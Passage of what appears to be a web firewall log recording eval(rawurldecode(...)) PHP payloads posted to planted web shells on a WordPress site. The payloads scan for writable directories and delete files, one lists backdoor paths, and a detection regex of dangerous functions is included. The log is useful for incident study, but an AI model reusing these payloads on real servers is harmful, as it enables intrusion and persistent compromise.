B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B"]
["2026-04-18 12:40:55","139.180.143.81","POST","\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/DateErrorEnum\/help.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> phaqOW:eval(rawurldecode(\"%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p.DIRECTORY_SEPARATOR.%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20\"));","POST \/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/DateErrorEnum\/help.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-mobile:?0\ncontent-length:3362\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\nhost:dewenlabels.com\nsec-fetch-site:none\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-dest:document\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-user:?1\nsec-fetch-mode:navigate\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\n\nphaqOW=eval(rawurldecode(\"%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p.DIRECTORY_SEPARATOR.%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20\"));"]
["2026-04-18 12:42:22","197.159.192.39","POST","\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Common\/TargetRestrictionOperation\/loadmodule.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> EmiqkL:eval(rawurldecode(\"%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p.DIRECTORY_SEPARATOR.%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20\"));","POST \/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Common\/TargetRestrictionOperation\/loadmodule.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-mobile:?0\ncontent-length:3362\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\nhost:dewenlabels.com\nsec-fetch-site:none\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-dest:document\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-user:?1\nsec-fetch-mode:navigate\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\n\nEmiqkL=eval(rawurldecode(\"%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p.DIRECTORY_SEPARATOR.%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20\"));"]
["2026-04-18 12:43:37","68.178.173.85","POST","\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AdGroup\/DemandGenAdGroupSettings\/DemandGenChannelControls\/Index.php","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> aReDtp:eval(rawurldecode(\"%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p.DIRECTORY_SEPARATOR.%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20\"));","POST \/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AdGroup\/DemandGenAdGroupSettings\/DemandGenChannelControls\/Index.php HTTP\/1.1\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\ncontent-length:3362\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?1\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-platform:\"Android\"\nsec-fetch-user:?1\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nhost:dewenlabels.com\nsec-fetch-site:none\nsec-fetch-mode:navigate\naccept:*\/*\n\naReDtp=eval(rawurldecode(\"%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p.DIRECTORY_SEPARATOR.%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20\"));"]
["2026-04-18 13:44:24","47.251.82.1","POST","\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/UserDataErrorEnum\/smilies.inc.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ybXJBY:eval(rawurldecode(\"%20%20%20%40unlink%28%22\/www\/wwwroot\/dewenlabels.com\/default_links%22%29%3B%20if%20%28%21file_exists%28%22\/www\/wwwroot\/dewenlabels.com\/default_links%22%29%29%20%7B%20%20%20%20%20die%28%27%21success%21%27%29%3B%20%7D%20die%28%27%21ended%21%27%29%3B\"));","POST \/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/UserDataErrorEnum\/smilies.inc.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-mobile:?0\ncontent-length:391\nsec-ch-ua-platform:\"macOS\"\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-site:none\naccept:*\/*\nsec-fetch-mode:navigate\nupgrade-insecure-requests:1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\naccept-encoding:gzip,deflate\nsec-fetch-dest:document\nsec-fetch-user:?1\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\n\nybXJBY=eval(rawurldecode(\"%20%20%20%40unlink%28%22\/www\/wwwroot\/dewenlabels.com\/default_links%22%29%3B%20if%20%28%21file_exists%28%22\/www\/wwwroot\/dewenlabels.com\/default_links%22%29%29%20%7B%20%20%20%20%20die%28%27%21success%21%27%29%3B%20%7D%20die%28%27%21ended%21%27%29%3B\"));"]
["2026-04-18 13:52:26","103.100.38.132","POST","\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/UserDataErrorEnum\/smilies.inc.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ybXJBY:eval(rawurldecode(\"%20%20%24r%20%3D%20%27\/www\/wwwroot\/dewenlabels.com%27%3B%20%24x%20%3D%20%5B%22\/wp-blog-header.php%22%3D%3E%22bd%40%40290357193%40%4015%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/plugins\/Watermark\/plugin.php%22%3D%3E%22bd%40%40290180586%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/google\/protobuf\/src\/Google\/Protobuf\/Internal\/tsql.php%22%3D%3E%22bd%40%40287668730%40%40634%22%2C%0A%22\/wp-admin\/network\/upgrade.php%22%3D%3E%22bd%40%40290357326%40%40GBStEu%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/customizer\/class-astra-extended-base-configuration.php%22%3D%3E%22bd%40%40290357333%40%4033%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/elFinderVolumeTrashMySQL.class.php%22%3D%3E%22bd%40%40290357359%40%40%24_COOKIE%5B7%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/action-scheduler\/lib\/cron-expression\/CronExpression.php%22%3D%3E%22bd%40%40290357365%40%40QlAazG%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/symfony\/polyfill-php81\/Resources\/stubs\/ReturnTypeWillChange.php%22%3D%3E%22bd%40%40290357370%40%4073%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccessibleBiddingStrategy\/menu.item.table.php%22%3D%3E%22bd%40%40290357378%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/LocalServicesLeadSurveyAnswerEnum\/lang_main.php%22%3D%3E%22bd%40%40290357382%40%401011%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Util\/PHP\/rate_report01.php%22%3D%3E%22bd%40%40290357390%40%401063%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Exception\/categorie.php%22%3D%3E%22bd%40%40290357395%40%40604%22%2C%0A%22\/wp-content\/upgrade\/wordpress-6.9.4-no-content\/wordpress\/wp-includes\/SimplePie\/library\/SimplePie\/HTTP\/idl.php%22%3D%3E%22bd%40%40290357401%40%401043%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentArmErrorEnum\/edit_links.php%22%3D%3E%22bd%40%40282623627%40%40805%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/Go